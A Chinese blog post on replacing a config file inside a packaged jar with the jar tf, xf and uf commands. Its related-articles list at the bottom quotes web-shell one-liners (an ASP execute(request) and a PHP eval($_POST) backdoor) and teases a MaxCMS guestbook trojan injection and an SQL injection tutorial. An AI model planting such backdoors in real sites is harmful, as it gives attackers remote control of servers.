当前位置:首页 > 技术文章 > 正文内容

修改已经打好的jar包中的配置文件

lcy2021-06-29技术文章1474

有时候经常因为不同开发机器上的一部分配置不同,导致项目中的配置文件有些用户名密码等信息有差异,临时打包的时候经常忘记修改,可以重新打包,但是重新打包如果花费时间过长的时候这样做就太不划算了。因此专门百度了不同的方式,找了一种不需要安装其他工具的方式,综合他们的方法,我详细记录一下我的修改过程(以下过程按照顺序执行,可以跳过某些步骤):

方式一

  • 在jar包所在的路径打开cmd窗口/Powershell窗口

方法是:进入jar包所在的路径,按住shift同时点击右键,选择“打开PowerShell窗口”;

  • 列出jar包的文件清单(非必须,主要是为了方便查看需要修改的文件的路径)

//输入命令
jar tf abc.jar
  • 将需要修改的文件解压出来

//命令jar xf abc.jar BOOT-INF/classes/application.properties

此时,会在当前jar包的同级目录下生成一个相对路径文件夹(所要修改的文件就在这里),然后修改文件中的内容

  • 使用修改后的文件替换jar包中对应的文件

//使用刚刚修改的文件替换jar包中的对应文件,输入命令jar uf abc.jar BOOT-INF/classes/application.properties

以上是解压相对的文件,修改内容,再替换掉jar中的对应文件。

方式二

也可以直接使用修改后的代码文件(因为我的是application.properties,所以不存在编译啥的),按照以下步骤:

创建一个和带替换文件相同的空路径,把新的文件放在该目录下,然后直接执行“jar uf ……”的那个命令即可。

比如我的前面的情况:application.properties文件在jar中的相对路径是“BOOT-INF/classes/application.properties”,那我就在jar包的同级目录创建一个“BOOT-INF/classes”的空路径,然后将新的application.properties放在classes文件夹,直接执行“jar uf ……”命令即可完成替换。


 

版权声明:本文由cy's Blog发布,如需转载请注明出处。

本文链接:http://www.c3389.com/post/538.html

相关文章

sql injection 教程,包括盲注。英语版

摘自:黑基 最近在学php+mysql下的注入,到处找文章,古今中外的。在外国网站上找到这么一篇好文章,外国同行们公认的典型教材,于是拿来给大家。说实话我实在看不惯某些人不懂装懂,黑页上hacker...

马克斯电影程序(MaxCMS)V2.5漏洞

马克斯电影程序(MaxCMS)V2.5,类似新云漏洞数据库地址为inc/datas.asp在留言本直接插入┼攠數畣整爠煥敵瑳∨≡┩愾 一句话木马连接www.xx.com/inc/da...

把任意文件藏在图片中

最好有基本的命令行知识,不过没有也没关系,按照下面的步骤就好了:准备:1.一张图片         2.测试用txt  ...

DZ论坛出错信息Warning: require_once(./include/common.inc.php)解决办法

其实这个问题不用说的那么复杂。导致这个问题是因为目录权限问题所致。大家都知道通常在2003中的权限设置比较混乱。形象点表达的解决方法是这样的:比如:你的论坛放在WEBROOT的BBS目录下,如果你仅仅...

四方案全面保护视频文件安全

DV越来越普及,个人可以轻松的拍摄属于自己的视频。对于拍摄的视频,我们可以与网友一起分享。但是现在各种修改技术又非常普及,总有一些网友“恶搞”,对别人的视频进行改头换面,改变了...

一句话木马的多种写法

asp一句话   <%execute(request("1"))%>   php一句话   <?php eval($_POST[1]);?>   aspx一...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。